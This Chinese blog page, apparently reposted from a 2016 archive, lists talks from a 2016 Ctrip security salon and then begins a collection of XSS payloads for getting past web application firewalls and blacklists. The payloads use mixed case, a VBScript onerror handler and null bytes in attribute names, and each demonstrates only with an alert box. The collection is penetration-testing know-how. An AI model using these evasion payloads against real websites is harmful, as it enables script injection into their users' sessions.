2016年
2016携程信息安全沙龙
安全是生命的保障和发展的驱动力。缺乏安全的企业就像缺水的鱼,难以游弋到胜利的彼岸
1、ctrip业务安全前生今世
2、ctrip云WAF与大数据实时分析实践
3、点融网的一些安全实践
4、去哪儿网ELK安全监控中心踩坑和实践
5、唯品会产品安全技术实践
XSS绕waf合集
往事只能回味,我已近完全忘却了,原来我还发过这样一篇文章,一次数据库的丢失并未让我失去这些美好的回忆。原来,这边是曾今的一切。。。继续保持当年的那份初心吧,感谢Web ARCHIVE(https://web.archive.org/web/20160830125339/http://www.hackinn.com/index.php/archives/44/) ,于2020年初夏
在一个有效的xss集合中,我们发现渗透测试十分的有用,特别是在当有waf或者黑名单过滤时,但并不像你用AK-47在空中扫射一样容易。
简单字符操作。
请注意,我用十六进制表示的字符,但你不可能把它打出来。例如,\x00等于一个空字节,但在运用中使用哪种编码还要看实际情况(URL编码\x00=%00)。
HaRdc0r3 caS3 s3nsit1vITy bYpa55!
<script>alert(1)</script>
<img src="/web/20160830125339im_/http://www.hackinn.com/index.php/archives/44/1" language="VbS" onerror="mSgbOx(1)">
零字节字符之间的HTML属性名称、等号(IE,Safari)。
<img src="/web/20160830125339im_/http://www.hackinn.com/index.php/archives/44/1" onerror\x00="alert(0)"/>